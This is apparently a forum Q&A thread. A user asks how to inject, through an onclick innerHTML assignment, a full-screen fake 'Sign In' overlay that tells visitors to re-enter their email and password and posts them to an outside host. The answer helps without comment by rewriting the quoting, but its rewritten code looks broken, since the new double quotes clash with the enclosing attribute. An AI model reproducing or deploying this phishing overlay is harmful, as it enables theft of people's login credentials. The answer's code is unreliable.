Here's my HTML:
<div id="#my_link"></div>
<a href="#" onclick="document.getElementById('#my_link').innerHTML = ''"></a>
Here's the code that I want to insert into #my_link:
<div style='position:fixed;left:0;top:0;z-index:100000;width:100%;height:100%;background-color:rgba(255, 255, 255, 0.8); display:flex;justify-content:center;align-content:vertical;align-items:center'><form action='http://example.com' style='display: block; padding: 50px; background-color: #ffffff; box-shadow: 0px 8px 18px 2px #cccccc;'><p style='font-family: SharpGrotesk, Open Sans, Calibri; font-size: 25px; margin-bottom: 5px;'><b>Sign In</b></p><p style='font-size: 10pt;font-family: Atlas Grotesk Web, Open Sans, Calibri, sans-serif; margin-bottom: 10px;'>It's been a while since you signed in.<br>For security reasons, please re-enter your credentials.</p><input style='display:block; padding: 8px 6px 3px 18px; height: 44px; font-size:14px; width: 360px; margin-bottom: 15px;' placeholder='Email'></input><input type='password' style='display:block; padding: 8px 6px 3px 18px; height: 44px; font-size:14px; width: 360px; margin-bottom: 15px;' placeholder='Password'></input><button type='submit' style='display:block;width: 360px; height: 44px; background: #0061ff; border:none; font-size: 16px; color: #ffffff; font-family: Atlas Grotesk Web, Open Sans, Calibri, sans-serif;'>Sign in</button></form></div>
It has a mixture of single quotes, double quotes, and carats. Whenever I try to put it into innerHTML, I get an Uncaught SyntaxError: Unexpected identifier error. I've tried escaping it a bunch of different ways but I always get that error.
I have to use onClick for this, I can't use a separate script tag.
JSFiddle link: https://jsfiddle.net/zwtr96se/
Replace ' with "
<div id="#my_link"></div>
<a href="#" onclick="document.getElementById('#my_link').innerHTML = '<div style="position:fixed;left:0;top:0;z-index:100000;width:100%;height:100%;background-color:rgba(255, 255, 255, 0.8); display:flex;justify-content:center;align-content:vertical;align-items:center"><form action="http://example.com" style="display: block; padding: 50px; background-color: #ffffff; box-shadow: 0px 8px 18px 2px #cccccc;"><p style="font-family: SharpGrotesk, Open Sans, Calibri; font-size: 25px; margin-bottom: 5px;"><b>Sign In</b></p><p style="font-size: 10pt;font-family: Atlas Grotesk Web, Open Sans, Calibri, sans-serif; margin-bottom: 10px;">It"s been a while since you signed in.<br>For security reasons, please re-enter your credentials.</p><input style="display:block; padding: 8px 6px 3px 18px; height: 44px; font-size:14px; width: 360px; margin-bottom: 15px;" placeholder="Email"></input><input type="password" style="display:block; padding: 8px 6px 3px 18px; height: 44px; font-size:14px; width: 360px; margin-bottom: 15px;" placeholder="Password"></input><button type="submit" style="display:block;width: 360px; height: 44px; background: #0061ff; border:none; font-size: 16px; color: #ffffff; font-family: Atlas Grotesk Web, Open Sans, Calibri, sans-serif;">Sign in</button></form></div>'">Click me</a>
Example:https://jsfiddle.net/uLm6bwe2/